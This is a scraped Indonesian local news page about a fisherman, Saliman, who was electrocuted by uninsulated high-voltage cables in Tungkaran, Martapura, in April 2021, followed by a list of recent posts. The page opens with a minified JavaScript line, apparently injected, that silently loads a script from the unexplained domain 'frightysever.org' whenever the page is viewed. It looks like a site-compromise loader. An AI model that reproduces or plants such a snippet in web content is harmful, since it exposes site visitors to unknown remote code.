(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Lagi! Pemancing Tewas Kesetrum di Martapura, Kabupaten Banjar


KANALKALIMANTAN.COM, MARTAPURA – Warga di Desa Tungkaran, Kecamatan Martapura Kota, Kabupaten Banjar, Kalsel geger. Seorang paunjunan atau pemancing ditemukan tak bernyawa tergeletak di tepi jalan di desa setempat.

Peristiwa itu terjadi Jumat (9/4/2021) sekitar pukul 09.00 Wita.

Berdasar data dari Kartu Tanda Penduduk (KTP), paunjunan yang meninggal dunia itu diketahui bernama Saliman (46) warga Sungai Sumba, Guntungpayung, Kota Banjarbaru.

Baca juga: Digitalisasi Wisata Sungai Kalimantan Selatan, Satu Ikhtiar Pulihkan Ekonomi Masyarakat

 

Paunjunan tersebut diduga kuat meninggal dunia karena tersengat aliran listrik tegangan tinggi saat memancing.

Lelaki yang mengenakan baju kaus putih dan celana jins biru itu tertelungkup di tepi jalan.

Pasalnya di lokasi tempat ditemukan ada kabel listrik tanpa bungkus di sepanjang tepi jalan itu.

Baca juga: Puluhan Remaja Terjaring Satpol PP Banjarmasin Nginap di Hotel  

Pembakal Tungkaran, Salmani, saat dihubungi membenarkan kejadian itu.

“Sejumlah warga mengabarkan saat saya berada di balai desa. Kami langsung cek dan bawa menggunakan ambulans desa rumah sakit,” jelas dia.

Berdasar hasil pemeriksaan petugas medis di RSUD Ratu Zalecha, katanya, diduga kuat korban meninggal karena tersetrum listrik tegangan tinggi.

Baca juga: Bantuan Sembako dan Kuota Internet ke Warga Terdampak Banjir

“Seingat dan sepengetahuan saya ini kejadian ketiga yang terjadi di Tungkaran. Buka kali ini saja ada pemancing meninggal karena tersetrum, tapi sudah tiga kali,” beber dia.

Atas kejadian itu, dia mengimbau kepada pemancing yang beraktivitas di kawasan itu agar tidak memancing di bawah kabel listrik.

“Kami mengimbau kepada masyarakat jangan memancing di bawah atau dekat kabel listrik. Karena kabel listriknya itu tidak dibungkus dan sangat berbahaya bila tersentuh alat pancing,” tegas dia. (kanalkalimantan.com/dhani)

Reporter: Dhani
Editor: Dhani


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.